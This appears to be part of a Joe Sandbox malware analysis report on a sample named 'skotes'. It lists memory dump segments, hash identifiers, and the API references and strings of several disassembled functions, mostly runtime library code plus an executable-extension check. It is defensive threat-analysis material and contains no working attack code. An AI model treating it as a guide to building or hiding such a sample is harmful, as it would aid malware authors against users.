Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: a3f5ee6ef074381ba58f8d7464f86861bc24d97e0cecae3cea4c773a2804c3e9
Instruction ID: aa0b05cbd015b46e62389485be1271e018a430a9cce7a0027d91a841236a3e15
Opcode Fuzzy Hash: a3f5ee6ef074381ba58f8d7464f86861bc24d97e0cecae3cea4c773a2804c3e9
Instruction Fuzzy Hash: 4E31A536A00214AFCF05EFACC885AADB379BF84314F24C565ED1997285EB71EE05DB90

Function 00974E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00974E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00974E86
PMDtoOffset.LIBCMT ref: 00974EAC

Strings

Bad dynamic_cast!, xrefs: 00974EEE

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: d465d90cd657b0dd48b6b703d9386890720d1f667d68d9ec69590aa9fff0365b
Instruction ID: d5d837d79024795edb193f482ee6c84217267cff5c7fa6c5123c342f1c1d6223
Opcode Fuzzy Hash: d465d90cd657b0dd48b6b703d9386890720d1f667d68d9ec69590aa9fff0365b
Instruction Fuzzy Hash: 4221C473A04205AFCF14DF68DD46FAE77B8FF84724B10C529F91997282DB35E9009691

Function 0097727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 009772BE

Strings

.exe, xrefs: 009772CB
.com, xrefs: 009772FE
.cmd, xrefs: 009772DC
.bat, xrefs: 009772ED

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: ac59c6c4ea717321e58dc7dae31fb14bb53da8346f0b6eb758ee5eb8ebab7f53
Instruction ID: 9846c00270ef97f7d3518f56d00a636428047f28e7357344cd680106a38e05a1
Opcode Fuzzy Hash: ac59c6c4ea717321e58dc7dae31fb14bb53da8346f0b6eb758ee5eb8ebab7f53
Instruction Fuzzy Hash: 71012B27708A1635661551DCAD42B6A938D8BC1BB8716C02AFC5CF71C1DF44DC4261E0

Function 0095FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0095FB06

Strings

GetThreadGroupAffinity, xrefs: 0095FA93
SetThreadGroupAffinity, xrefs: 0095FA87
kernel32.dll, xrefs: 0095FA7A
GetCurrentProcessorNumberEx, xrefs: 0095FABE

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 0979954d721dfe9c161cbe19eaa372458e74d38869287b14b8291c5be3ef0b60
Instruction ID: b2455777ec7426bef072fe586a8dc8553fdd75ce17c581e871d1945962a63e2f
Opcode Fuzzy Hash: 0979954d721dfe9c161cbe19eaa372458e74d38869287b14b8291c5be3ef0b60
Instruction Fuzzy Hash: 0C0149277443126DD710B3FA6CABA6F22CCDE86314320456AF844E3142FE64D8048261

Function 00972097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 009720B7

Part of subcall function 0096CAF3: Mailbox.LIBCMT ref: 0096CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009720C8
StructuredWorkStealingQueue.LIBCMT ref: 009720FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0097210F

Strings

e, xrefs: 009720D9

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: ec5ff350768dc844aa29ab6555de6ae8aad9d780c0d90f4d3e4aad8eae053a77
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 5011A333618105ABDB15DF69C8817AA73A8FF41328B54C55AFC0E9F202DB75D901CBA1

Function 0095D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0095D0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 0095D03B
kernel32.dll, xrefs: 0095D04C
WakeAllConditionVariable, xrefs: 0095D069
SleepConditionVariableCS, xrefs: 0095D05D

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
